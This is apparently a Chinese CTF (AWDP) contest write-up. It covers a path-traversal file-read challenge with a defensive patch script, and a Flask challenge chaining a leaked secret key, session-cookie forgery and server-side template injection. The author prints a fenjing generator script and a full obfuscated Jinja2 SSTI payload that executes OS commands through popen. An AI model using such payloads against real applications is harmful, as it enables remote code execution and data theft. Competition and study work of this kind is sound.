本文最后更新于 2026年10月17日 下午
前言 第一次线下打AWDP这种模式的比赛,解出了web1的防御和web2的攻击。攻击部分和CTF解题差不多,防御部分是要求上传一个防御包,随后执行其中的update.sh脚本。由于比赛四个小时分成了8轮,防御每轮都会进行加分,所以早做防御后期滚雪球分数会变得很高,可惜由于经验不足一开始光顾着攻击了,并且web2的flag一交就没法开环境了,不然防御部分应该也能做出来的。
第二天的RW部分也比较抽象,真的实物挖掘,并且操作权限有限。我们选的是奥创的奇迹3无人机,还好小厂出品毛病还是不少的,给ds烧了点钱挖出来了命令执行漏洞。
车联网安全运维中心 防御 扫目录,.env有结果
1 2 3 4 FLAG_PATH =/secretBOOK_ROOT =/app/data/booksPREVIEW_PREFIX =preview/APP_MODE =prod
探测发现在/api/books/obu/preview?file=有目录穿越和文件读取漏洞,在读取文件之前加一个目录解析然后判断是否为安全目录即可
update.sh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 #!/bin/bash TARGET_DIR="/app/app" PATCH_SOURCE="/patch.py" echo "Starting defense update..." if [ -f "$PATCH_SOURCE " ]; then cp "$PATCH_SOURCE " "$TARGET_DIR /patch.py" echo "Success: Patch deployed to $TARGET_DIR " else echo "Error: Source patch file not found in root!" exit 1fi echo "Update complete."
patch.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import osdef secure_load_preview (user_input_file, base_dir="/app/data/books/obu" ): requested_path = os.path.abspath(os.path.join(base_dir, "preview" , user_input_file)) safe_base_dir = os.path.abspath(base_dir) if not requested_path.startswith(safe_base_dir): raise PermissionError("Security Alert: Attempted Path Traversal detected!" ) try : with open (requested_path, 'r' ) as f: return f.read() except Exception as e: return str (e)print ("Patch applied successfully." )
攻击 前面提到了路径穿越和文件读取漏洞,但是题目在这里做了限制,file=后面的内容必须是preview/开头、md或者txt结尾,这里就不知道要怎么绕过了。
镜中人 攻击 根据题目描述,可以判断和SSTI有关。进去要求输入名字,之后会回显这个name但是并没有出现渲染,下面有一个admin panel的超链接,点进去提示权限不够,结合本题的环境是flask,可以推测是jwt伪造。
在原始jwt的header中泄露了secret_key
使用flask-session-cookie-manager进行伪造
用这个jwt访问/admin提示在/hi有一些内容,进去之后是app.py的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 @app.route('/hi' ) def source (): source_file = open (file, 'r' , encoding='utf-8' ) file_content = source_file.read() source_file.close() source_snippet = file_content[file_content.index("@app.route('/hi')" ):] return render_template('source.html' , code=source_snippet)@app.route('/admin' ) def admin_handler (): try : role = session.get('role' ) if not isinstance (role, dict ): raise Exception except Exception: return render_template('admin.html' , hacker=True , role_type=type (session.get('role' )).name) if role.get('is_admin' ) == 1 : flag = role.get('flag' ) or 'admin' flag_raw = flag flag = filter (flag) message = "(ˊᗜˋ),%s" % flag try : result = render_template_string(message, request=None ) except Exception: result = render_template_string("(ˊᗜˋ),{{flag}}" , flag=flag, request=None ) admin_hint = "This is an important piece of content: /hi" return render_template('admin.html' , flag_result=result, role=role, filtered=(flag_raw != flag), admin_hint=admin_hint) else : return render_template('admin.html' , denied=True , role=role)if name == 'main' : app.run('0.0.0.0' , port=9000 )
在session里读取了flag变量然后进行渲染,经过一波测试发现过滤了一些内容,上fenjing一把梭
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from fenjing import exec_cmd_payload, config_payloadimport logging logging.basicConfig(level = logging.INFO)def waf (s: str ): blacklist = ['.' ,"'" ,'"' ,'[' ,']' ,'_' ,'1' ,'2' ,'3' ,'4' ,'5' ,'6' ,'7' ,'8' ,'9' ,'0' ,'nl' ,'fl' ,'ca' ,'ta' ] return all (word not in s for word in blacklist)if __name__ == "__main__" : shell_payload, _ = exec_cmd_payload(waf, "ls /app/secret.py" ) print (f"{shell_payload=} " )
payload
1 {%set ne=dict(NEXT=i)|first |lower %} {%set gl=dict(GLOBALS=i)|first |lower %} {%set gt=dict(GET=i)|first |lower %} {%set os=dict(OS=i)|first |lower %} {%set po=dict(POPEN=i)|first |lower %} {%set re=dict(READ=i)|first |lower %} {%set oa={}|int%} {%set la=oa**oa%} {%set lla=(la~la)|int%} {%set llla=(lla~la)|int%} {%set lllla=(llla~la)|int%} {%set ob={}|int%} {%set lb=ob**ob%} {%set llb=(lb~lb)|int%} {%set lllb=(llb~lb)|int%} {%set llllb=(lllb~lb)|int%} {%set bb=llb-lb-lb-lb-lb-lb%} {%set sbb=lllb-llb-llb-llb-llb-llb%} {%set ssbb=llllb-lllb-lllb-lllb-lllb-lllb%} {%set zzeb=llllb-lllb-lllb-lllb-lllb-lllb-lllb-lllb-lllb%} {%set oa={}|int%} {%set la=oa**oa%} {%set lla=(la~la)|int%} {%set llla=(lla~la)|int%} {%set lllla=(llla~la)|int%} {%set ms=bb+la+la+la%} {%set kf=la+la%} {%set rk=la+la+la+la+la%} {%set ye=bb+la+la%} {%set pt=la+la+la+la%} {%set np=bb+la%} {%set ug=la+la+la%} {%set co=e|slice (((kf)*(ms)+rk))|string|batch(((kf)*(ms)+rk))|first |last %} {%set jo=(lipsum()|urlencode |first )%} {%set hi=jo+dict(c=i)|join %} {%set ls=(hi*(lla+bb))%((lla+la)*(ms),(((kf)*(ms)+rk))*(rk),(ye)*(pt),((rk)*(ms)+kf),((ms+la)*(ms)+np),(lla+ug)*(ye),(lla+ug)*(ye),((rk)*(ms)+kf),(((kf)*(ms)+rk))*(rk),((lla)*(ms)+kf),(lla)*(ms),(lla+ye)*(bb),((lla)*(ms)+kf),(((ug)*(ms)+kf))*(pt),((rk)*(ms)+la),(lla+ug)*(ye),(lla)*(lla))%} {{cycler|attr(ne)|attr(co+co+gl+co+co)|attr(gt)(os)|attr(po)(ls)|attr(re)()}}
防御 由于提交flag之后就没法启动实例了,所以这里我不太清楚目录结构,防御部分没成功。
filter过滤函数是写在secret.py中的,所以我的思路就是给过滤函数的黑名单里面加上[]()这样就没法模板注入了。我也不太清楚这里到底想让我修什么,是把jwt中header泄露的secret_key删掉还是在ssti的那块做加固。懂的师傅可以在评论区交流一下。